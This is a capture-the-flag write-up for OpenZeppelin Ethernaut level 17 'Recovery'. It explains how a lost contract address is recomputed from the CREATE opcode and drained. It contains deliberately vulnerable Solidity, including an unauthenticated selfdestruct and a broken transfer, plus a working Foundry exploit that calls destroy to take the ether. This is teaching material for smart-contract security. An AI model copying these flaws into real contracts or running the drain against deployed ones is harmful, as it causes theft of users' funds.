The Ethernaut Challenge #17 Solution — Recovery

This is Part 17 of the “Let’s play OpenZeppelin Ethernaut CTF” series, where I will explain how to solve each challenge.

The Ethernaut is a Web3/Solidity based wargame created by OpenZeppelin. Each level is a smart contract that needs to be ‘hacked’. The game acts both as a tool for those interested in learning ethereum, and as a way to catalogue historical hacks in levels. Levels can be infinite and the game does not require to be played in any particular order.

Challenge #17: Recovery

A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent 0.001 ether to obtain more tokens. They have since lost the contract address.

This level will be completed if you can recover (or remove) the 0.001 ether from the lost contract address.

Level author(s): Adrian Manning

The goal of this challenge is to be able to retrieve the lost address of the first token created by the Token Factory and drain 0.001 ETH that have been sent to it.

Study the contracts

The contract itself is straightforward to understand, but the hard part of the solution is not about exploiting it. Let’s review the code and understand what we need to do.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
using SafeMath for uint256;
// public variables
string public name;
mapping(address => uint256) public balances;
// constructor
constructor(
string memory _name,
address _creator,
uint256 _initialSupply
) public {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}
// allow transfers of tokens
function transfer(address _to, uint256 _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}

The Recovery contract is a token factory contract that allows the msg.sender to deploy a new SimpleToken contract each time he/she call the generateToken function.

As soon as we find a way to retrieve the address of the deployed SimpleToken we can call the destroy function that will execute a selfdestruct(_to) sending all the contract's balance to the _to address.

The SimpleToken contract has at least two different problems:

transfer function is always resetting the _to balance

// allow transfers of tokens
function transfer(address _to, uint256 _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}

While the balance of msg.sender is correctly updated, the balance of _to will be resetted to amount. A malicious actor could just call transfer(victimAddress, 0) to completely reset the victim balance to 0.

destroy function has no auth requirements

// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}

The destroy function of the contract is executing the selfdestruct OPCODE. This opcode destroys the contract itself and send the balance of the contract to the specified address.

By not having any authentication requirement it means that anyone could be able to call this function, destroy the contract (and all the token balances of the users) and steal the deposited ETH.

Retrieve the lost address

The main challenge of the CTF is to understand how to retrieve the lost address of the first SimpleToken deployed.

This is something that I didn’t know, or at least I didn’t know before starting my deep dive journey in EVM. The key takeaway here is to always fully understand what you are doing. What does really new SimpleToken(_name, msg.sender, _initialSupply) do under the hood? In that Opcodes, new Contract() will be the "translated"?

Not having at the time all the EVM knowledge that I have now, I was banging my head against the wall to understand how could I be able to automate via foundry the process of retrieving the address. But thanks God, cmichel came to the rescue! I didn’t read all the solution, I just need that little hint to understand that the right direction was to understand how the new Contract() was working behind the scene!

After knowing that behind the scene the new keyword uses the CREATE opcode, I started looking at the Ethereum Yellow paper

The address of the new account is defined as being the rightmost 160 bits of the Keccak-256 hash of the RLP encoding of the structure containing only the sender and the account nonce. For CREATE2 the rule is different and is described in EIP-1014 by Buterin 2018. […]

The way to re-build the address of a created contract is to get the rightmost 160 bits of the keccak-256 hash of the RLP encoding of sender + sender’s nonce.

If you want to know more about RLP, you can read the official Ethereum documentation about the Recursive-length prefix (RLP) Serialization.

In our case:

  • The sender is the Recover contract itself (the contract factory)
  • The nonce is the number of contract that the contract itself has created. An important thing to remember: contract’s nonce starts from 1 and not 0! Read more about the default value of nonce on the EIP-161 Specification doc.

Bonus note: nonces works differently for EOA and Contracts. While for a contract, the nonce is the number of contract that the contract itself has created, for EOA the nonce is the number of transaction that it has made.

Now we just need to know to replicate the RLP encoding in solidity. The Ethereum Stack Exchange comes to the rescue with a lot of knowledge inside this comment.

address payable lostContract = address(
uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), address(level), bytes1(0x01)))))
);

We can now proceed with the solution of the challenge.

Solution code

Here’s the solution code:

function exploitLevel() internal override {
vm.startPrank(player, player);
// Calculate the address generated by the CREATE opcode
// sender -> address of the `level` (token factory)
// nonce -> `1` because it's the first token created by the factory
// This is the RLP encoding alg in Solidity
address payable lostContract = address(
uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), address(level), bytes1(0x01)))))
);
// Assert that the contract has indeed some balance inside
uint256 contractBalanceBefore = lostContract.balance;
assertEq(contractBalanceBefore, 0.001 ether);
// Call the contract's destroy function that will execute the `selfdestruct`
uint256 playerBalanceBefore = player.balance;
SimpleToken(lostContract).destroy(player);
vm.stopPrank(); // Assert that the contract has no more balance
assertEq(lostContract.balance, 0);
// Assert that the player's balance has increased by `contractBalanceBefore`
assertEq(player.balance, playerBalanceBefore + contractBalanceBefore);
}

You can read the full solution of the challenge opening Recovery.t.sol

Further reading

Disclaimer

All Solidity code, practices and patterns in this repository are DAMN VULNERABLE and for educational purposes only.

I do not give any warranties and will not be liable for any loss incurred through any use of this codebase.

DO NOT USE IN PRODUCTION.

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#web3 dev + auditor | @SpearbitDAO security researcher, @yAcademyDAO resident auditor, @developer_dao #459, @TheSecureum bootcamp-0, @code4rena warden